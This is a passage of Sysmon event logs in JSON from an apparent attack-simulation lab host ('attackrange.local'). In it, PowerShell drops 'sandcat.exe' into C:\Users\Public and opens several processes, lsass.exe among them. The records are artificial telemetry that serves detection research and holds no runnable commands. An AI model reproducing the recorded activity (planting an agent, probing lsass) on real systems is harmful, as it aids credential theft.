C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:43.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":1015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:49:43.703\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nProcessId: 2168\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Public\\sandcat.exe\r\nCreationUtcTime: 2020-08-07 11:49:43.703","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:49:43.703","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010693E0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Public\\sandcat.exe","CreationUtcTime":"2020-08-07 11:49:43.703","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001087400100}\r\nTargetProcessId: 2204\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001087400100}","TargetProcessId":"2204","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00100F5C0100}\r\nTargetProcessId: 2312\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00100F5C0100}","TargetProcessId":"2312","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nTargetProcessId: 588\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","TargetProcessId":"588","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nTargetProcessId: 628\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: 